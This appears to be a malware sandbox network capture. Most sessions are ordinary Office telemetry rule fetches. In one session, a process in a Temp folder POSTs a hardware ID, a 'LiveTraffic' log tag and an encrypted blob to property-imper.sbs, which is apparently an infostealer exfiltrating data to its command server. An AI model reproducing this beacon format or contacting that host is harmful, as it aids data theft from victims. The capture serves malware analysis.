73	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022132Z-178bfbc474bpscmfhC1NYCfc2c00000002a000000000pfnu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022134Z-178bfbc474bscnbchC1NYCe7eg00000003wg00000000kq5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:34 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022134Z-178bfbc474btrnf9hC1NYCb80g00000003xg00000000k3xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:34 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022134Z-174c587ffdf4zw2thC1TEBu34000000002e0000000005174 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49822	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:34 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1105GX6DH9B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: property-imper.sbs
2024-11-23 02:21:34 UTC	15331	OUT	Data Raw: 2d 2d 31 31 30 35 47 58 36 44 48 39 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 31 30 35 47 58 36 44 48 39 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 31 30 35 47 58 36 44 48 39 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 31 30 35 47 58 36 44 48 39 42 Data Ascii: --1105GX6DH9BContent-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--1105GX6DH9BContent-Disposition: form-data; name="pid"2--1105GX6DH9BContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1105GX6DH9B
2024-11-23 02:21:34 UTC	2796	OUT	Data Raw: bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-11-23 02:21:35 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1565tgbhtkoqms21d7hikk9km2; expires=Tue, 18-Mar-2025 20:08:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9kD5LzppMTFxwGyMFYhIZAxZaTzOrALcR8FdaDCK%2BNPV9v9PwwmGyFhbaSFo0PxkBO0y7ZaC4XEnGkmCyUZqxU5%2B5G7lmNCCUk9l2OXoJHVCNOcHiYBTGmptFgXM3A%2Fy9uD%2BokU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6dafc5cb7343e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&sent=18&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19084&delivery_rate=1633109&cwnd=212&unsent_bytes=0&cid=f22f56af059057c3&ts=1247&x=0"
2024-11-23 02:21:35 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:34 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022135Z-15b8b599d88wn9hhhC1TEBry0g000000029000000000gcqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:34 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022135Z-174c587ffdftv9hphC1TEBm29w0000000290000000005r23 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022137Z-15b8b599d889gj5whC1TEBfyk00000000260000000004kxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:37 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: a3dd353e-a01e-0032-2c4e-3c1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022137Z-178bfbc474bpnd5vhC1NYC4vr400000003x00000000037wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:36 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022137Z-15b8b599d88tmlzshC1TEB4xpn000000026000000000ad1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:37 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:37 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022137Z-15b8b599d889fz52hC1TEB59as000000026g00000000gb2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:37 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
